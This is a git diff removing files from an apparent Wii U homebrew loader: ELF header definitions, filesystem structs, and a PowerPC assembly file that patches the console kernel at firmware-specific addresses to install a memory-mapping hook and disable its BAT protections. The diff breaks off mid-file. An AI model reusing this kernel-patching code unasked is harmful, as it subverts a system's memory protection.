instruction set SPARC */ -#define EM_960 19 /* Intel 80960 */ -#define EM_PPC 20 /* PowerPC */ -#define EM_PPC64 21 /* 64-bit PowerPC */ -#define EM_S390 22 /* IBM System/390 Processor */ -/* RESERVED 23-35 for future use */ -#define EM_V800 36 /* NEC V800 */ -#define EM_FR20 37 /* Fujitsu FR20 */ -#define EM_RH32 38 /* TRW RH-32 */ -#define EM_RCE 39 /* Motorola RCE */ -#define EM_ARM 40 /* Advanced Risc Machines ARM */ -#define EM_ALPHA 41 /* Digital Alpha */ -#define EM_SH 42 /* Hitachi SH */ -#define EM_SPARCV9 43 /* SPARC Version 9 */ -#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ -#define EM_ARC 45 /* Argonaut RISC Core */ -#define EM_H8_300 46 /* Hitachi H8/300 */ -#define EM_H8_300H 47 /* Hitachi H8/300H */ -#define EM_H8S 48 /* Hitachi H8S */ -#define EM_H8_500 49 /* Hitachi H8/500 */ -#define EM_IA_64 50 /* Intel Merced */ -#define EM_MIPS_X 51 /* Stanford MIPS-X */ -#define EM_COLDFIRE 52 /* Motorola Coldfire */ -#define EM_68HC12 53 /* Motorola M68HC12 */ -#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ -#define EM_PCP 55 /* Siemens PCP */ -#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ -#define EM_NDR1 57 /* Denso NDR1 microprocessor */ -#define EM_STARCORE 58 /* Motorola Start*Core processor */ -#define EM_ME16 59 /* Toyota ME16 processor */ -#define EM_ST100 60 /* STMicroelectronic ST100 processor */ -#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ -#define EM_X86_64 62 /* AMD x86-64 */ -#define EM_PDSP 63 /* Sony DSP Processor */ -/* RESERVED 64,65 for future use */ -#define EM_FX66 66 /* Siemens FX66 microcontroller */ -#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ -#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ -#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ -#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ -#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ -#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ -#define EM_SVX 73 /* Silicon Graphics SVx */ -#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ -#define EM_VAX 75 /* Digital VAX */ -#define EM_CHRIS 76 /* Axis Communications embedded proc. */ -#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ -#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ -#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ -#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ -#define EM_HUANY 81 /* Harvard University mach-indep objs */ -#define EM_PRISM 82 /* SiTera Prism */ -#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ -#define EM_FR30 84 /* Fujitsu FR30 */ -#define EM_D10V 85 /* Mitsubishi DV10V */ -#define EM_D30V 86 /* Mitsubishi DV30V */ -#define EM_V850 87 /* NEC v850 */ -#define EM_M32R 88 /* Mitsubishi M32R */ -#define EM_MN10300 89 /* Matsushita MN10200 */ -#define EM_MN10200 90 /* Matsushita MN10200 */ -#define EM_PJ 91 /* picoJava */ -#define EM_NUM 92 /* number of machine types */ - -/* Version */ -#define EV_NONE 0 /* Invalid */ -#define EV_CURRENT 1 /* Current */ -#define EV_NUM 2 /* number of versions */ - -/* Section Header */ -typedef struct { - Elf32_Word sh_name; /* name - index into section header - string table section */ - Elf32_Word sh_type; /* type */ - Elf32_Word sh_flags; /* flags */ - Elf32_Addr sh_addr; /* address */ - Elf32_Off sh_offset; /* file offset */ - Elf32_Word sh_size; /* section size */ - Elf32_Word sh_link; /* section header table index link */ - Elf32_Word sh_info; /* extra information */ - Elf32_Word sh_addralign; /* address alignment */ - Elf32_Word sh_entsize; /* section entry size */ -} Elf32_Shdr; - -/* Special Section Indexes */ -#define SHN_UNDEF 0 /* undefined */ -#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ -#define SHN_LOPROC 0xff00 /* reserved range for processor */ -#define SHN_HIPROC 0xff1f /* specific section indexes */ -#define SHN_LOOS 0xff20 /* reserved range for operating */ -#define SHN_HIOS 0xff3f /* specific semantics */ -#define SHN_ABS 0xfff1 /* absolute value */ -#define SHN_COMMON 0xfff2 /* common symbol */ -#define SHN_XINDEX 0xffff /* Index is an extra table */ -#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ - -/* sh_type */ -#define SHT_NULL 0 /* inactive */ -#define SHT_PROGBITS 1 /* program defined information */ -#define SHT_SYMTAB 2 /* symbol table section */ -#define SHT_STRTAB 3 /* string table section */ -#define SHT_RELA 4 /* relocation section with addends*/ -#define SHT_HASH 5 /* symbol hash table section */ -#define SHT_DYNAMIC 6 /* dynamic section */ -#define SHT_NOTE 7 /* note section */ -#define SHT_NOBITS 8 /* no space section */ -#define SHT_REL 9 /* relation section without addends */ -#define SHT_SHLIB 10 /* reserved - purpose unknown */ -#define SHT_DYNSYM 11 /* dynamic symbol table section */ -#define SHT_INIT_ARRAY 14 /* Array of constructors */ -#define SHT_FINI_ARRAY 15 /* Array of destructors */ -#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ -#define SHT_GROUP 17 /* Section group */ -#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ -#define SHT_NUM 19 /* number of section types */ -#define SHT_LOOS 0x60000000 /* Start OS-specific */ -#define SHT_HIOS 0x6fffffff /* End OS-specific */ -#define SHT_LOPROC 0x70000000 /* reserved range for processor */ -#define SHT_HIPROC 0x7fffffff /* specific section header types */ -#define SHT_LOUSER 0x80000000 /* reserved range for application */ -#define SHT_HIUSER 0xffffffff /* specific indexes */ - -/* Section names */ -#define ELF_BSS ".bss" /* uninitialized data */ -#define ELF_COMMENT ".comment" /* version control information */ -#define ELF_DATA ".data" /* initialized data */ -#define ELF_DATA1 ".data1" /* initialized data */ -#define ELF_DEBUG ".debug" /* debug */ -#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ -#define ELF_DYNSTR ".dynstr" /* dynamic string table */ -#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ -#define ELF_FINI ".fini" /* termination code */ -#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ -#define ELF_GOT ".got" /* global offset table */ -#define ELF_HASH ".hash" /* symbol hash table */ -#define ELF_INIT ".init" /* initialization code */ -#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ -#define ELF_INTERP ".interp" /* Pathname of program interpreter */ -#define ELF_LINE ".line" /* Symbolic line numnber information */ -#define ELF_NOTE ".note" /* Contains note section */ -#define ELF_PLT ".plt" /* Procedure linkage table */ -#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ -#define ELF_REL_DATA ".rel.data" /* relocation data */ -#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ -#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ -#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ -#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ -#define ELF_REL_TEXT ".rel.text" /* relocation code */ -#define ELF_RODATA ".rodata" /* read-only data */ -#define ELF_RODATA1 ".rodata1" /* read-only data */ -#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ -#define ELF_STRTAB ".strtab" /* string table */ -#define ELF_SYMTAB ".symtab" /* symbol table */ -#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ -#define ELF_TBSS ".tbss" /* thread local uninit data */ -#define ELF_TDATA ".tdata" /* thread local init data */ -#define ELF_TDATA1 ".tdata1" /* thread local init data */ -#define ELF_TEXT ".text" /* code */ - -/* Section Attribute Flags - sh_flags */ -#define SHF_WRITE 0x1 /* Writable */ -#define SHF_ALLOC 0x2 /* occupies memory */ -#define SHF_EXECINSTR 0x4 /* executable */ -#define SHF_MERGE 0x10 /* Might be merged */ -#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ -#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ -#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ -#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ -#define SHF_GROUP 0x200 /* Member of section group */ -#define SHF_TLS 0x400 /* Thread local storage */ -#define SHF_MASKOS 0x0ff00000 /* OS specific */ -#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific section attributes */ - -/* Section Group Flags */ -#define GRP_COMDAT 0x1 /* COMDAT group */ -#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ -#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ - -/* Symbol Table Entry */ -typedef struct elf32_sym { - Elf32_Word st_name; /* name - index into string table */ - Elf32_Addr st_value; /* symbol value */ - Elf32_Word st_size; /* symbol size */ - unsigned char st_info; /* type and binding */ - unsigned char st_other; /* 0 - no defined meaning */ - Elf32_Half st_shndx; /* section header index */ -} Elf32_Sym; - -/* Symbol table index */ -#define STN_UNDEF 0 /* undefined */ - -/* Extract symbol info - st_info */ -#define ELF32_ST_BIND(x) ((x) >> 4) -#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) -#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) -#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) - -/* Symbol Binding - ELF32_ST_BIND - st_info */ -#define STB_LOCAL 0 /* Local symbol */ -#define STB_GLOBAL 1 /* Global symbol */ -#define STB_WEAK 2 /* like global - lower precedence */ -#define STB_NUM 3 /* number of symbol bindings */ -#define STB_LOOS 10 /* reserved range for operating */ -#define STB_HIOS 12 /* system specific symbol bindings */ -#define STB_LOPROC 13 /* reserved range for processor */ -#define STB_HIPROC 15 /* specific symbol bindings */ - -/* Symbol type - ELF32_ST_TYPE - st_info */ -#define STT_NOTYPE 0 /* not specified */ -#define STT_OBJECT 1 /* data object */ -#define STT_FUNC 2 /* function */ -#define STT_SECTION 3 /* section */ -#define STT_FILE 4 /* file */ -#define STT_NUM 5 /* number of symbol types */ -#define STT_TLS 6 /* Thread local storage symbol */ -#define STT_LOOS 10 /* reserved range for operating */ -#define STT_HIOS 12 /* system specific symbol types */ -#define STT_LOPROC 13 /* reserved range for processor */ -#define STT_HIPROC 15 /* specific symbol types */ - -/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ -#define STV_DEFAULT 0 /* Normal visibility rules */ -#define STV_INTERNAL 1 /* Processor specific hidden class */ -#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ -#define STV_PROTECTED 3 /* Not preemptible, not exported */ - - -/* Relocation entry with implicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ -} Elf32_Rel; - -/* Relocation entry with explicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ - Elf32_Sword r_addend; -} Elf32_Rela; - -/* Extract relocation info - r_info */ -#define ELF32_R_SYM(i) ((i) >> 8) -#define ELF32_R_TYPE(i) ((unsigned char) (i)) -#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) - -/* Program Header */ -typedef struct { - Elf32_Word p_type; /* segment type */ - Elf32_Off p_offset; /* segment offset */ - Elf32_Addr p_vaddr; /* virtual address of segment */ - Elf32_Addr p_paddr; /* physical address - ignored? */ - Elf32_Word p_filesz; /* number of bytes in file for seg. */ - Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ - Elf32_Word p_flags; /* flags */ - Elf32_Word p_align; /* memory alignment */ -} Elf32_Phdr; - -/* Segment types - p_type */ -#define PT_NULL 0 /* unused */ -#define PT_LOAD 1 /* loadable segment */ -#define PT_DYNAMIC 2 /* dynamic linking section */ -#define PT_INTERP 3 /* the RTLD */ -#define PT_NOTE 4 /* auxiliary information */ -#define PT_SHLIB 5 /* reserved - purpose undefined */ -#define PT_PHDR 6 /* program header */ -#define PT_TLS 7 /* Thread local storage template */ -#define PT_NUM 8 /* Number of segment types */ -#define PT_LOOS 0x60000000 /* reserved range for operating */ -#define PT_HIOS 0x6fffffff /* system specific segment types */ -#define PT_LOPROC 0x70000000 /* reserved range for processor */ -#define PT_HIPROC 0x7fffffff /* specific segment types */ - -/* Segment flags - p_flags */ -#define PF_X 0x1 /* Executable */ -#define PF_W 0x2 /* Writable */ -#define PF_R 0x4 /* Readable */ -#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ -#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific segment flags */ -/* Dynamic structure */ -typedef struct -{ - Elf32_Sword d_tag; /* controls meaning of d_val */ - union - { - Elf32_Word d_val; /* Multiple meanings - see d_tag */ - Elf32_Addr d_ptr; /* program virtual address */ - } d_un; -} Elf32_Dyn; - -extern Elf32_Dyn _DYNAMIC[]; - -/* Dynamic Array Tags - d_tag */ -#define DT_NULL 0 /* marks end of _DYNAMIC array */ -#define DT_NEEDED 1 /* string table offset of needed lib */ -#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ -#define DT_PLTGOT 3 /* address PLT/GOT */ -#define DT_HASH 4 /* address of symbol hash table */ -#define DT_STRTAB 5 /* address of string table */ -#define DT_SYMTAB 6 /* address of symbol table */ -#define DT_RELA 7 /* address of relocation table */ -#define DT_RELASZ 8 /* size of relocation table */ -#define DT_RELAENT 9 /* size of relocation entry */ -#define DT_STRSZ 10 /* size of string table */ -#define DT_SYMENT 11 /* size of symbol table entry */ -#define DT_INIT 12 /* address of initialization func. */ -#define DT_FINI 13 /* address of termination function */ -#define DT_SONAME 14 /* string table offset of shared obj */ -#define DT_RPATH 15 /* string table offset of library - search path */ -#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ -#define DT_REL 17 /* address of rel. tbl. w addends */ -#define DT_RELSZ 18 /* size of DT_REL relocation table */ -#define DT_RELENT 19 /* size of DT_REL relocation entry */ -#define DT_PLTREL 20 /* PLT referenced relocation entry */ -#define DT_DEBUG 21 /* bugger */ -#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ -#define DT_JMPREL 23 /* add. of PLT's relocation entries */ -#define DT_BIND_NOW 24 /* Process relocations of object */ -#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ -#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ -#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ -#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ -#define DT_RUNPATH 29 /* Library search path */ -#define DT_FLAGS 30 /* Flags for the object being loaded */ -#define DT_ENCODING 32 /* Start of encoded range */ -#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ -#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ -#define DT_NUM 34 /* Number used. */ -#define DT_LOOS 0x60000000 /* reserved range for OS */ -#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ -#define DT_LOPROC 0x70000000 /* reserved range for processor */ -#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ - -/* Dynamic Tag Flags - d_un.d_val */ -#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ -#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ -#define DF_TEXTREL 0x04 /* Object contains text relocations */ -#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ -#define DF_STATIC_TLS 0x10 /* Static thread local storage */ - -/* Standard ELF hashing function */ -unsigned long elf_hash(const unsigned char *name); - -#define ELF_TARG_VER 1 /* The ver for which this code is intended */ - -/* - * XXX - PowerPC defines really don't belong in here, - * but we'll put them in for simplicity. - */ - -/* Values for Elf32/64_Ehdr.e_flags. */ -#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ - -/* Cygnus local bits below */ -#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ -#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib - flag */ - -/* PowerPC relocations defined by the ABIs */ -#define R_PPC_NONE 0 -#define R_PPC_ADDR32 1 /* 32bit absolute address */ -#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ -#define R_PPC_ADDR16 3 /* 16bit absolute address */ -#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ -#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ -#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ -#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ -#define R_PPC_ADDR14_BRTAKEN 8 -#define R_PPC_ADDR14_BRNTAKEN 9 -#define R_PPC_REL24 10 /* PC relative 26 bit */ -#define R_PPC_REL14 11 /* PC relative 16 bit */ -#define R_PPC_REL14_BRTAKEN 12 -#define R_PPC_REL14_BRNTAKEN 13 -#define R_PPC_GOT16 14 -#define R_PPC_GOT16_LO 15 -#define R_PPC_GOT16_HI 16 -#define R_PPC_GOT16_HA 17 -#define R_PPC_PLTREL24 18 -#define R_PPC_COPY 19 -#define R_PPC_GLOB_DAT 20 -#define R_PPC_JMP_SLOT 21 -#define R_PPC_RELATIVE 22 -#define R_PPC_LOCAL24PC 23 -#define R_PPC_UADDR32 24 -#define R_PPC_UADDR16 25 -#define R_PPC_REL32 26 -#define R_PPC_PLT32 27 -#define R_PPC_PLTREL32 28 -#define R_PPC_PLT16_LO 29 -#define R_PPC_PLT16_HI 30 -#define R_PPC_PLT16_HA 31 -#define R_PPC_SDAREL16 32 -#define R_PPC_SECTOFF 33 -#define R_PPC_SECTOFF_LO 34 -#define R_PPC_SECTOFF_HI 35 -#define R_PPC_SECTOFF_HA 36 -/* Keep this the last entry. */ -#define R_PPC_NUM 37 - -/* The remaining relocs are from the Embedded ELF ABI, and are not - in the SVR4 ELF ABI. */ -#define R_PPC_EMB_NADDR32 101 -#define R_PPC_EMB_NADDR16 102 -#define R_PPC_EMB_NADDR16_LO 103 -#define R_PPC_EMB_NADDR16_HI 104 -#define R_PPC_EMB_NADDR16_HA 105 -#define R_PPC_EMB_SDAI16 106 -#define R_PPC_EMB_SDA2I16 107 -#define R_PPC_EMB_SDA2REL 108 -#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ -#define R_PPC_EMB_MRKREF 110 -#define R_PPC_EMB_RELSEC16 111 -#define R_PPC_EMB_RELST_LO 112 -#define R_PPC_EMB_RELST_HI 113 -#define R_PPC_EMB_RELST_HA 114 -#define R_PPC_EMB_BIT_FLD 115 -#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ - -/* Diab tool relocations. */ -#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ -#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ -#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ -#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ -#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ -#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ - -/* This is a phony reloc to handle any old fashioned TOC16 references - that may still be in object files. */ -#define R_PPC_TOC16 255 - -#endif /* _ELF_H */ diff --git a/dsrom/vwii_loader/fs_defs.h b/dsrom/vwii_loader/fs_defs.h deleted file mode 100644 index 1b3795b..0000000 --- a/dsrom/vwii_loader/fs_defs.h +++ /dev/null @@ -1,60 +0,0 @@ -#ifndef FS_DEFS_H -#define FS_DEFS_H - -#ifdef __cplusplus -extern "C" { -#endif - - -/* FS defines and types */ -#define FS_MAX_LOCALPATH_SIZE 511 -#define FS_MAX_MOUNTPATH_SIZE 128 -#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) -#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE - -#define FS_STATUS_OK 0 -#define FS_RET_UNSUPPORTED_CMD 0x0400 -#define FS_RET_NO_ERROR 0x0000 -#define FS_RET_ALL_ERROR (unsigned int)(-1) - -#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 - -/* max length of file/dir name */ -#define FS_MAX_ENTNAME_SIZE 256 - -#define FS_SOURCETYPE_EXTERNAL 0 -#define FS_SOURCETYPE_HFIO 1 -#define FS_SOURCETYPE_HFIO 1 - -#define FS_MOUNT_SOURCE_SIZE 0x300 -#define FS_CLIENT_SIZE 0x1700 -#define FS_CMD_BLOCK_SIZE 0xA80 - -typedef struct -{ - uint32_t flag; - uint32_t permission; - uint32_t owner_id; - uint32_t group_id; - uint32_t size; - uint32_t alloc_size; - uint64_t quota_size; - uint32_t ent_id; - uint64_t ctime; - uint64_t mtime; - uint8_t attributes[48]; -} __attribute__((packed)) FSStat; - -typedef struct -{ - FSStat stat; - char name[FS_MAX_ENTNAME_SIZE]; -} FSDirEntry; - - -#ifdef __cplusplus -} -#endif - -#endif /* FS_DEFS_H */ - diff --git a/dsrom/vwii_loader/kernel_patches.S b/dsrom/vwii_loader/kernel_patches.S deleted file mode 100644 index f5c0936..0000000 --- a/dsrom/vwii_loader/kernel_patches.S +++ /dev/null @@ -1,282 +0,0 @@ -#if (VER == 550) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D624 - # not all of those NOP address are required for every firmware - # mainly these should stop the kernel from removing our IBAT4 and DBAT5 - #define BAT_SET_NOP_ADDR_1 0xFFF06B6C - #define BAT_SET_NOP_ADDR_2 0xFFF06BF8 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D70C - #define BAT_SET_NOP_ADDR_6 0xFFF1D728 - #define BAT_SET_NOP_ADDR_7 0xFFF1D82C - - #define BAT_SET_NOP_ADDR_8 0xFFEE11C4 - #define BAT_SET_NOP_ADDR_9 0xFFEE11C8 - -#elif ((VER == 532) || (VER == 540)) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D638 - - # not all of those NOP address are required for every firmware - # mainly these should stop the kernel from removing our IBAT4 and DBAT5 - #define BAT_SET_NOP_ADDR_1 0xFFF06A14 - #define BAT_SET_NOP_ADDR_2 0xFFF06AA0 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D720 - #define BAT_SET_NOP_ADDR_6 0xFFF1D73C - #define BAT_SET_NOP_ADDR_7 0xFFF1D840 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC - -#elif ((VER == 500) || (VER == 510)) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D518 - - #define BAT_SET_NOP_ADDR_1 0xFFF0697C - #define BAT_SET_NOP_ADDR_2 0xFFF06A08 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D600 - #define BAT_SET_NOP_ADDR_6 0xFFF1D61C - #define BAT_SET_NOP_ADDR_7 0xFFF1D720 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC -#elif VER == 410 - #define BAT_SETUP_HOOK_ADDR 0xFFF1AD00 - - #define BAT_SET_NOP_ADDR_1 0xFFF06708 - #define BAT_SET_NOP_ADDR_2 0xFFF06794 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1ADE8 - #define BAT_SET_NOP_ADDR_6 0xFFF1AE04 - #define BAT_SET_NOP_ADDR_7 0xFFF1AF08 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC -#elif VER == 400 - #define BAT_SETUP_HOOK_ADDR 0xFFF1A440 - - #define BAT_SET_NOP_ADDR_1 0xFFF066FC - #define BAT_SET_NOP_ADDR_2 0xFFF06788 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1A528 - #define BAT_SET_NOP_ADDR_6 0xFFF1A544 - //define BAT_SET_NOP_ADDR_7 not present in 400 - - #define BAT_SET_NOP_ADDR_8 0xFFEE0F50 - #define BAT_SET_NOP_ADDR_9 0xFFEE0F54 -#elif (VER == 310) - #define BAT_SETUP_HOOK_ADDR 0xFFF19EC4 - - #define BAT_SET_NOP_ADDR_1 0xFFF06590 - #define BAT_SET_NOP_ADDR_2 0xFFF0661C - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF19FAC - #define BAT_SET_NOP_ADDR_6 0xFFF19FC8 -// #define BAT_SET_NOP_ADDR_7 not present in 3.1.0 - - #define BAT_SET_NOP_ADDR_8 0xFFEE0FB0 - #define BAT_SET_NOP_ADDR_9 0xFFEE0FB4 -#elif (VER == 300) - #define BAT_SETUP_HOOK_ADDR 0xFFF19E2C - - #define BAT_SET_NOP_ADDR_1 0xFFF06590 - #define BAT_SET_NOP_ADDR_2 0xFFF0661C - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF19F14 - #define BAT_SET_NOP_ADDR_6 0xFFF19F30 -// #define BAT_SET_NOP_ADDR_7 not present in 3.0.x - - #define BAT_SET_NOP_ADDR_8 0xFFEE0DB8 - #define BAT_SET_NOP_ADDR_9 0xFFEE0DBC -#else - #error Please define valid values for kernel setup. -#endif - -#ifdef USE_SD_LOADER - #define BAT_SETUP_HOOK_ENTRY 0x00800000 -#else - #define BAT_SETUP_HOOK_ENTRY (0x00800000 + 0x2000) -#endif - -#define BAT4U_VAL 0x008000FF -#if VER >= 410 - #define BAT4L_VAL 0x30800012 -#elif VER <= 400 - #define BAT4L_VAL 0x4E800012 -#else - #error Please define valid value for firmware setup. -#endif - -#define SET_R4_TO_ADDR(addr) \ - lis r3, addr@h ; \ - ori r3, r3, addr@l ; \ - stw r4, 0(r3) ; \ - dcbf 0, r3 ; \ - icbi 0, r3 ; - - .globl SC_0x25_KernelCopyData -SC_0x25_KernelCopyData: - li r0, 0x2500 - sc - blr - - .globl Syscall_0x36 -Syscall_0x36: - li r0, 0x3600 - sc - blr - - .globl KernelPatches -KernelPatches: - # store the old DBAT0 - mfdbatu r5, 0 - mfdbatl r6, 0 - - # memory barrier - eieio - isync - - # setup DBAT0 for access to kernel code memory - lis r3, 0xFFF0 - ori r3, r3, 0x0002 - mtdbatu 0, r3 - lis r3, 0xFFF0 - ori r3, r3, 0x0032 - mtdbatl 0, r3 - - # memory barrier - eieio - isync - - # SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though - # just chosen because its simple - lis r3, BAT_SETUP_HOOK_ADDR@h - ori r3, r3, BAT_SETUP_HOOK_ADDR@l - - # make the kernel setup our section in IBAT4 and - # jump to our function to restore the replaced instructions - lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h - ori r4, r4, BAT4L_VAL@h - stw r4, 0x00(r3) - lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l - ori r4, r4, BAT4L_VAL@l - stw r4, 0x04(r3) - lis r4, 0x7cf1 # mtspr 561, r7 - ori r4, r4, 0x8ba6 - stw r4, 0x08(r3) - lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h - ori r4, r4, BAT4U_VAL@h - stw r4, 0x0C(r3) - lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l - ori r4, r4, BAT4U_VAL@l - stw r4, 0x10(r3) - lis r4, 0x7cf0 # mtspr 560, r7 - ori r4, r4, 0x8ba6 - stw r4, 0x14(r3) - lis r4, 0x7c00 # eieio - ori r4, r4, 0x06ac - stw r4, 0x18(r3) - lis r4, 0x4c00 # isync - ori r4, r4, 0x012c - stw r4, 0x1C(r3) - lis r4, 0x7ce8 # mflr r7 - ori r4, r4, 0x02a6 - stw r4, 0x20(r3) - lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY - ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l - stw r4, 0x24(r3) - - # flush and invalidate the replaced instructions - lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h - ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l - dcbf 0, r3 - icbi 0, r3 - lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h - ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l - dcbf 0, r3 - icbi 0, r3 - sync - - # setup IBAT4 for core 1 at this position (not really required but wont hurt) - # IBATL 4 - lis r3, BAT4L_VAL@h - ori r3, r3, BAT4L_VAL@l - mtspr 561, r3 - - # IBATU 4 - lis r3, BAT4U_VAL@h - ori r3, r3, BAT4U_VAL@l - mtspr 560, r3 - - # memory barrier - eieio - isync - - # write "nop" to some positions - lis r4, 0x6000 - # nop on IBATU 4 and DBAT 5 set/reset -#ifdef BAT_SET_NOP_ADDR_1 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1) -#endif -#ifdef BAT_SET_NOP_ADDR_2 - 